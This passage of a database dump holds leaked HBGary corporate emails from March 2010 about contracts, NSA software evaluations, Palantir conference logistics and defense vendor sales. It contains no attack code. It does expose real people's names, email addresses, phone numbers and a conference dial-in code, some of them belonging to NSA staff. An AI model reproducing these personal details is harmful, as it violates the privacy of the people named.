Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002177.M541177P3547Q4108.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','RE: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program','Thank you Ted.\r\n\r\nI\'ll start our internal review/approval process this a.m. and hope to send you the Agreement later this week.\r\n\r\nRegards,\r\n\r\nCindy \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, March 16, 2010 10:10 AM\r\nTo: Larson, Cindy S.\r\nCc: Barr Aaron; Vela, Ryan; Harlow, Douglas M.; Starr, Christopher H.\r\nSubject: Re: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program\r\n\r\nAttached is the signed TA, please send us a copy of the fully executed agreement for our records.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Mar 16, 2010 at 10:47 AM, Larson, Cindy S.\r\n wrote:\r\n> Hi Ted,\r\n>\r\n> Can you get back to me today please.  I will be OOP for a funeral \r\n> starting at noon on Tuesday, 3/23 and won\'t return until Friday.  I\'d \r\n> like to complete this before the 23rd.\r\n>\r\n> Please advise.\r\n>\r\n> Regards,\r\n> Cindy\r\n>\r\n> ________________________________\r\n> From: Larson, Cindy S.\r\n> Sent: Monday, March 15, 2010 2:03 PM\r\n> To: \'Ted Vera\'\r\n> Cc: \'Barr Aaron\'; Vela, Ryan; Harlow, Douglas M.; Starr, Christopher H.\r\n> Subject: RE: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome \r\n> Program\r\n> Importance: High\r\n>\r\n> Hi Ted,\r\n>\r\n> Please provide status of your review to our Teaming Agreement and your \r\n> anticipated response date.  I will be OOP starting at noon on March \r\n> 23rd and would like to finalize the agreement before then.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n>\r\n> ________________________________\r\n> From: Larson, Cindy S.\r\n> Sent: Wednesday, March 10, 2010 8:46 AM\r\n> To: \'Ted Vera\'\r\n> Cc: \'Barr Aaron\'; Vela, Ryan; Harlow, Douglas M.\r\n> Subject: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome \r\n> Program\r\n> Importance: High\r\n>\r\n> Dear Mr. Vera:\r\n>\r\n> Attached is GDAIS Teaming Agreement that is to be executed between our \r\n> companies in support of the Cyber Genome Program.  Please review and \r\n> if acceptable as written, complete Article 13. Notices, sign and return to me.\r\n> I\'ll then sign and return a fully executed Agreement to you.\r\n>\r\n> If you have any comments to this document, please email them to me \r\n> ASAP (this week) and we can work to resolution.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n> GDAIS Sr. Lead Specialist, Contracts\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1079,'aaron_hbgary_com/1079.html'),(4109,'2010-03-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002177.M749916P3547Q4109.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Responder Pro Evaluations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n \r\n\r\nPlease hook the following 2 people from yesterday up with the\r\nprocess for responder pro with DDNA evaluations.\r\n\r\n \r\n\r\nBob Simmerly\r\n\r\nrjsimme@nsa.gov\r\n\r\n \r\n\r\nStephanie Larson\r\n\r\nsmlarse@nsa.gov\r\n\r\n \r\n\r\nThanks and please cc me on the email!\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3424,'aaron_hbgary_com/3424.html'),(4110,'2010-03-16','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297002177.M949670P3547Q4110.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: GovCon stuff','\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nHi Brian and Aaron,\r\n&nbsp;\r\nJust following up on the two Emails below.&nbsp; Will the HBGary/Xetron integration be ready for a demo booth at GovCon5?&nbsp; If so, can you please provide the image\r\n file to specs below and company description.&nbsp; These items are needed ASAP as the agenda book is in its final stages of formatting and being sent to the printer shortly.\r\n&nbsp;\r\nThanks,\r\nTim\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nTim Ronan\r\nPalantir Technologies | Forward Deployed Engineer\r\ntronan@palantirtech.com | 571.225.6179\r\n_________________________________________________________\r\n\r\n&nbsp;\r\n\r\n\r\nFrom: Timothy Ronan\r\n\r\nSent: Thursday, March 11, 2010 10:21 AM\r\nTo: \'Aaron Barr\'\r\nCc: Masterson, Brian (Xetron); Matthew Steckman\r\nSubject: RE: GovCon stuff\r\n\r\n\r\n&nbsp;\r\nHi Aaron,\r\n&nbsp;\r\nNo problem, I can empathize with those overwhelming weeks we all have.&nbsp; Any word on whether you would like me to hold your GovCon5 booth reservation?&nbsp; If\r\n so, can you please provide the image file and company description requested below?\r\n&nbsp;\r\nThanks,\r\nTim\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nTim Ronan\r\nPalantir Technologies | Forward Deployed Engineer\r\ntronan@palantirtech.com | 571.225.6179\r\n_________________________________________________________\r\n\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, March 02, 2010 2:26 PM\r\nTo: Timothy Ronan\r\nCc: Masterson, Brian (Xetron); Matthew Steckman\r\nSubject: Re: GovCon stuff\r\n\r\n\r\n&nbsp;\r\nHey guys,\r\n\r\n&nbsp;\r\n\r\n\r\nSorry I am just overwhelmed with Proposals all week. &nbsp;I will talk with Brian and Greg to see what makes sense and get back with you soonest.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nOn Mar 2, 2010, at 11:19 AM, Timothy Ronan wrote:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Aaron, Brian,\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI hope your preparation for GovCon5 is going smoothly.&nbsp; Is the HBGary/Xetron v0 integration still on target for the conference?\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI need a couple things from you to aid in conference preparation on our end.&nbsp; Could you please provide a high-res (300 dpi) vector (.ai, .eps) or uncompressed TIFF format\r\n company logo (in this case one for each of your companies).&nbsp; If this is not available, a high-res uncompressed jpeg is acceptable.&nbsp; We will also need a 100 word description of your company and integration with Palantir.&nbsp; A 100 word piece from each HBGary and\r\n Xetron is fine.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nA couple details on conference logistics:\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Partner\r\n booths will be a 10x7 space with a table, table skirt, and backdrop provided.&nbsp; All other booth media (i.e. signage, demo material, company collateral) will need to be supplied by you.\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Setup\r\n will be available in the evening on Tuesday (4/6) or pre-conference on Wednesday (4/7).&nbsp; Additional details to be available in the coming weeks.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAdditionally, please let me know if your companies are interested in any of the sponsorship opportunities available.&nbsp; Please do not feel obligated to be a sponsoring partner,\r\n I just wanted to remind you that the deadline to do so is approaching on Friday.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nPlease do not hesitate to contact Matt or myself with any questions as you prepare for the conference.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nCheers,\r\n\r\n\r\nTim\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\nTim Ronan\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew\r\n Steckman&nbsp;\r\nSent:&nbsp;Monday, March 01, 2010 1:36 PM\r\nTo:&nbsp;Aaron Barr; Masterson, Brian (Xetron)\r\nCc:&nbsp;Timothy Ronan\r\nSubject:&nbsp;GovCon stuff\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron, Brian,\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nTim Ronan is leading our GovCon coordination.&nbsp; To maintain your demo station we reserved for you guys he&#8217;s going to need some basic info.&nbsp; Ill let him pick up the thread\r\n from here.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nIn other random news, Aaron, you had asked me about web scraping vendors.&nbsp; Out of the blue a rep from Cyveillance (http://www.cyveillance.com/)\r\n called me to chat partnership.&nbsp; I believe they have the capability you were looking for.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n-Matt\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\n\r\nCEO\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n',10442,'aaron_hbgary_com/10442.html'),(4111,'2010-03-16','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002178.M144788P3547Q4111.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','available to talk in a few minutes?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Ted, are you available to talk about the final\r\npricing templates in a few minutes?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7253,'aaron_hbgary_com/7253.html'),(4112,'2010-03-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002178.M346527P3547Q4112.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,','RE: Responder Pro Evaluations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nConsider it done.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Tuesday, March 16, 2010 1:58 PM\r\nTo: Bob Slapnik\r\nCc: Aaron Barr; Phil Wallisch\r\nSubject: Responder Pro Evaluations\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nPlease hook the following 2 people from yesterday up with\r\nthe process for responder pro with DDNA evaluations.\r\n\r\n&nbsp;\r\n\r\nBob Simmerly\r\n\r\nrjsimme@nsa.gov\r\n\r\n&nbsp;\r\n\r\nStephanie Larson\r\n\r\nsmlarse@nsa.gov\r\n\r\n&nbsp;\r\n\r\nThanks and please cc me on the email!\r\nRich\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.790 / Virus Database: 271.1.1/2749 - Release Date: 03/16/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7386,'aaron_hbgary_com/7386.html'),(4113,'2010-03-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002178.M527545P3547Q4113.eml','rjsimme@nsa.gov,smlarse@nsa.gov,rjsimme@nsa.gov,smlarse@nsa.gov','How to download HBGary software for evaluation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob and Stephanie,\r\n\r\n&nbsp;\r\n\r\nRich Cummings asked me to send you instructions on how to\r\ndownload the HBGary Responder Pro + Digital DNA software.\r\n\r\n&nbsp;\r\n\r\n- Go to www.hbgary.com\r\n\r\n- Click on Register (upper right corner) to create an\r\naccount (fill in the form)\r\n\r\n- Send an email to bob@hbgary.com and support@hbgary.com to\r\nrequest the eval software.&nbsp; One of us will manually enable your account\r\nand send you an email that you can proceed with the download.\r\n\r\n- Click on PORTAL\r\n\r\n- On the portal page click on My Downloads\r\n\r\n- Download the software, install it and run it.\r\n\r\n- Send the Machine ID to bob@hbgary.com and\r\nsupport@hbgary.com, then we will send you a 14-day eval key.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14279,'aaron_hbgary_com/14279.html'),(4114,'2010-03-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002178.M732115P3547Q4114.eml','all@hbgary.com','FW: claim that HBGary cannot see certain processes','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nSomebody posted that Responder can&#8217;t extract processes hidden by\r\nrootkits or terminated processes.&nbsp; See link below.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: techcrime\r\n[mailto:rcmptechcrime@gmail.com] \r\nSent: Tuesday, March 16, 2010 2:30 PM\r\nTo: Bob Slapnik\r\nSubject: claim that HBGary cannot see certain processes\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Bob.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI thought I\'d pass on this link to a site which claims that\r\n&nbsp;&quot;Unfortunately, HBGary Responder cannot extract hidden processes by\r\nrootkits or already-terminated processes.&quot;&nbsp;&nbsp;&nbsp;&nbsp; I\r\nwasn\'t sure if your staff had seen this or not.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://cci.cocolog-nifty.com/blog/2010/02/hbgary-responde.html\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDarren\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCpl. Darren Sabourin\r\nSaskatchewan Technological Crime\r\nRoyal Canadian Mounted Police\r\nRegina, Saskatchewan CANADA\r\nd. (306) 780-7334\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.790 / Virus Database: 271.1.1/2749 - Release Date: 03/16/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5565,'aaron_hbgary_com/5565.html'),(4115,'2010-03-16','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002178.M916969P3547Q4115.eml','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>','HBGary is dialing into this number (our 4 PM number)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n866-765-5631, code 5057292#\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14816,'aaron_hbgary_com/14816.html'),(4116,'2010-03-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002179.M118031P3547Q4116.eml','\"Aaron Barr\" <aaron@hbgary.com>','I have more info re: NSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6573,'aaron_hbgary_com/6573.html'),(4117,'2010-03-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002179.M370251P3547Q4117.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com','RE: claim that HBGary cannot see certain processes','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes we are aware of this.&nbsp; I was JUST talking to Greg about\r\nthis, this morning. &nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, March 16, 2010 12:22 PM\r\nTo: all@hbgary.com\r\nSubject: FW: claim that HBGary cannot see certain processes\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nSomebody posted that Responder can&#8217;t extract processes hidden by\r\nrootkits or terminated processes.&nbsp; See link below.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: techcrime\r\n[mailto:rcmptechcrime@gmail.com] \r\nSent: Tuesday, March 16, 2010 2:30 PM\r\nTo: Bob Slapnik\r\nSubject: claim that HBGary cannot see certain processes\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Bob.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI thought I\'d pass on this link to a site which claims that\r\n&nbsp;&quot;Unfortunately, HBGary Responder cannot extract hidden processes by\r\nrootkits or already-terminated processes.&quot;&nbsp;&nbsp;&nbsp;&nbsp; I\r\nwasn\'t sure if your staff had seen this or not.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://cci.cocolog-nifty.com/blog/2010/02/hbgary-responde.html\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDarren\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCpl. Darren Sabourin\r\nSaskatchewan Technological Crime\r\nRoyal Canadian Mounted Police\r\nRegina, Saskatchewan CANADA\r\nd. (306) 780-7334\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.790 / Virus Database: 271.1.1/2749 - Release Date: 03/16/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13957,'aaron_hbgary_com/13957.html'),(4118,'2010-03-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002179.M581809P3547Q4118.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Here is some NSA info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe NSA Blue Team is an HBGary customer.&nbsp; They have\r\nmultiple copies of Responder Pro + DDNA.&nbsp; They are about to give us a $50k\r\norder to pilot DDNA over the enterprise using their homegrown BlueScope system.&nbsp;\r\nBlueScope is an agent based system that they deploy on services engagements to\r\nlook for and collect &#8220;indicators of compromise&#8221; from the network\r\nand disk drives.&nbsp; They want to &#8220;snap in&#8221; our DDNA host\r\nendpoint software to add to their capabilities.&nbsp; We will sell them a\r\nlicense to the endpoint software. They will launch it on the endpoint from\r\nBlueScope and BlueScope will collect DDNA data and put it in their own DB.\r\n\r\n&nbsp;\r\n\r\nTurns out that the Blue Team and ANO are sister\r\norganizations under the same parent, VAO.&nbsp; In fact, ANO uses the BlueScope\r\nsystem as their primary tool. &nbsp;&nbsp;ANO and the Blue Team do similar work\r\nlooking for indicators of compromise.&nbsp; ANO works from remote and Blue Team\r\ngoes onsite to DoD agencies.&nbsp; \r\n\r\n&nbsp;\r\n\r\nVulnerability Analysis &amp; Operations (VAO I7) - Tony\r\nSager\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBlue Team &#8211; Scott Brown\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdvanced Network Operations (ANO) &#8211; Bob\r\nSimmerly, Stephanie Larson\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSystems and Network Analysis Center (SNAC)\r\n&#8211; Research organization.&nbsp; Feeds malware to VAO.\r\n\r\nVAO, Blue Team, ANO and SNAC all could use the HBGary malware\r\nfeed processor.&nbsp; Maybe we can get them to pool their dollars to buy from\r\nus.\r\n\r\n&nbsp;\r\n\r\nScott said another organization is considering CWSandbox for\r\nhigh volume malware analysis.&nbsp; I&#8217;d rather they spend their money to\r\nlicense HBGary software.\r\n\r\n&nbsp;\r\n\r\nScott had previously told me that DoD looks at IR as a tier\r\nsystem.&nbsp; The top tier service providers use BlueScope (around a dozen organizations).&nbsp;\r\nSecond tier are the CERTs.&nbsp; At the agency level is HBSS (ePO).&nbsp; So\r\ngetting the BlueScope users getting value from DDNA will go a long way toward getting\r\nlots of agencies buying DDNA ePO.\r\n\r\n&nbsp;\r\n\r\nEverything we are trying to do at NSA complements everything\r\nelse.&nbsp; Responder + DDNA, DDNA for BlueScope, the Threat Assessment Center,\r\nDDNA for HBSS, and onsite services.&nbsp; It all ties together and is a further\r\nopportunity to build relationships.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10534,'aaron_hbgary_com/10534.html'),(4119,'2010-03-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002179.M766001P3547Q4119.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FW: Invitation to UNO Vendor Conference','The Lockheed Martin UNO Program Office is hosting the UNO Vendor Conference\r\n> on 18 March, 2010.  This is your opportunity to meet other UNO vendors, ask\r\n> questions about the UNO task order process, and obtain information on what\r\n> is planned for UNO in 2010.  A preliminary agenda and directions to the\r\n> Lockheed Martin DEPII building are attached.\r\n>\r\n>\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Wed, Mar 10, 2010 at 11:13 AM\r\nSubject: Re: FW: Invitation to UNO Vendor Conference\r\nTo: Bob Slapnik , Aaron Barr \r\n\r\n\r\nSweet, good timing!  Looks like there\'s a new Uno PM.  Aaron\'s clearance\r\nwas approved this morning.  He get\'s read-on and his badge next Tuesday.\r\n\r\nTed\r\n\r\n\r\nOn 3/10/10 9:59 AM, Bob Slapnik wrote:\r\n> HBGary got on the UNO list, but without cleared people we\'ve mostly\r\n> ignored.  Thought this might interest you.\r\n>\r\n>\r\n>\r\n> Check out all the names, companies and emails below... Can anyone spell\r\n> marketing opportunity?\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Watson, Charles M [mailto:charles.m.watson@lmco.com]\r\n> Sent: Wednesday, March 10, 2010 10:29 AM\r\n> To: cadams@adamscomm.com; jpellecchia@adamscomm.com; bd@adamscomm.com;\r\n> lgreen@adamscomm.com; Trout, David (EXP X-ACI); ddickey@aci-hq.com;\r\n> welshg@ainfosec.com; sharkeyj@ainfosec.com; robinsona@ainfosec.com;\r\n> uno@ainfosec.com; plonischi@ainfosec.com; WAYNE_FOLSOM@appsig.com;\r\n> linda_drake@appsig.com; bob_teague@appsig.com; marty.kiefaber@argonst.com;\r\n> matthew_kuipers@appsig.com; brian.barnes@argonst.com;\r\n> Jeff.Brown@argonst.com; rob.mcnamee@argonst.com; jferguson@argonst.com;\r\n> spencer.allain@argonst.com; david.horner2@baesystems.com;\r\n> leigh.palmer@baesystems.com; Brandon.trimyer@baesystems.com;\r\n> peter.a.ryder@baesystems.com; mel.fulton@baesystems.com;\r\n> joelr@basistech.com; bim2008@basistech.com; jsaling@basistech.com;\r\n> lukz@battelle.org; schultac@battelle.org; shopkins@blackbirdtech.com;\r\n> dbailey@blackbirdtech.com; tbrooks@blackbirdtech.com;\r\n> lance.m.towers@boeing.com; stella.w.wiggins@boeing.com;\r\n> michael.hughes2@boeing.com; George.l.doyle2@boeing.com;\r\n> fred.sheldon@boeing.com; Christopher.J.Parker@boeing.com;\r\n> meehan_james@bah.com; stanford_john@bah.com; psaros_nicholas@bah.com;\r\n> hamstra_jeff@bah.com; linda.mustico@cantada.com; jenn.feeney@cantada.com;\r\n> dan.tejada@cantada.com; McEvoy, Gerry (EXP X-Computer Systems Group, Ltd.);\r\n> tconrad@cc-sw.com; smulokey@cti1.net; jimsawyer@cti1.net; jims@cti1.net;\r\n> alavender@cti1.net; parya01@harris.com; mtroutma@harris.com;\r\n> tbergero@harris.com; john.steinmetz@harris.com; jmcclure@harris.com;\r\n> mgingras@dtri.net; dbrager@dtri.net; swallen@draper.com; tkostas@draper.com;\r\n> stacy.sipes@eds.com; susan.snell@hp.com; amclaug407@verizon.net;\r\n> ysshih@cox.net; edward.phillips@itt.com; robert.yohman@itt.com;\r\n> dave.wernli@itt.com; robert.dobbins@itt.com; barton.ung@itt.com;\r\n> Anthony.kempka@itt.com; Mark.Adams@edocorp.com; todd.morgan@edocorp.com;\r\n> Catherine.Lewine@edocorp.com; tom.conrad@envieta.com;\r\n> faith.horowitz@envieta.com; gregory.rowe@G3TI.NET; kdr@g-c-i.net;\r\n> jcm@g-c-i.net; jek@g-c-i.net; jad@g-c-i.net; kim.lachance@gd-ais.com;\r\n> anita.garey@gd-ais.com; gilbert.gaston@gd-ais.com; daniel.moran@gd-ais.com;\r\n> mauen.lee@gd-ais.com; robert.rabinek@gdit.com; bob.clay@gdit.com;\r\n> stephen.taylor@harris.com; jyanas@harris.com; lstaulcu@harris.com;\r\n> john.steinmetz@harris.com; bob@hbgary.com; dick.henggeler@hengcon.com;\r\n> dick.henggeler@Henggelerconsulting.com; anthony.santino@hughes.com;\r\n> rick.lober@hughes.com; Craig.Plastrik@hughes.com; charlie@iomaxis.com;\r\n> tgriffin@iomaxis.com; amclaug407@verizon.net; michael.abadie@itt.com;\r\n> Jim.Kalkbrenner@itt.com; bill.zeird@itt.com; bill@lvi-usa.com;\r\n> kliedy@lvi-usa.com; wsenich@lvi-usa.com; rybrown@L1id.com;\r\n> jhartman@L1id.com; gjohnson@L1id.com;\r\n> ltoplikar@leadingsystemstechnologies.com;\r\n> kward@leadingsystemstechnologies.com; eddie.rose@l-3com.com;\r\n> mary.rainey@l-3com.com; bob.krieger@l-3com.com; millerm@lgsinnovations.com;\r\n> bbgriffin@lgsinnovations.com; lrorls@lgsinnovations.com;\r\n> wroblicka@lgsinnovations.com; dimbesi@lgsinnovations.com;\r\n> marc@lgsinnovations.com; ctpope@lgsinnovations.com;\r\n> swolter@lgsinnovations.com; stark@lgsinnovations.com;\r\n> jfrost@lgsinnovations.com; Fair, Donald T; William.m.hartley@lmco.com;\r\n> Wilbert, Otto J; Ferrara, Joseph C; Panczenko, Michael; Atwater, Bradley T;\r\n> Stephen.barish@macb.com; leo.chambliss@macb.com;\r\n> paul.greene@mach1development.com; Yolanda.Keels-Walker@ManTech.com;\r\n> paul.myrick@mantech.com; Steven.Graf@ManTech.com; Linda.Baker@ManTech.com;\r\n> Michael.mcgowan@mcc-corp.com; rob.palm@motorola.com;\r\n> jalexis@navstar-inc.com; bholland@navstar-inc.com; indrev@navstar-inc.com;\r\n> D\'Agostino, Chris (EXP X-Near Infinity); Bond, Nancy J (X-Near Infinity\r\n> Corp); lance.chernault@ngc.com; Christopher.wilfong@ngc.com;\r\n> yolanda.parrish@ngc.com; john.schlegel@ngc.com; Jim.cleereman@ngc.com;\r\n> cari.kehr@ngc.com; matthew.verock@ngc.com; ivan@novelapplications.com;\r\n> tim.berzins@oceansedge.biz; tom.shanley@oceansedge.biz;\r\n> luis.beltre@oceansedge.biz; jennifer.walker@pangiatech.com;\r\n> judy.walker@pangiatech.com; amy.walker@pangiatech.com;\r\n> jeff.kuhn@pangiatech.com; sandy.ring@pikewerks.com;\r\n> michael.ring@pikewerks.com; irby@pikeworks.com; 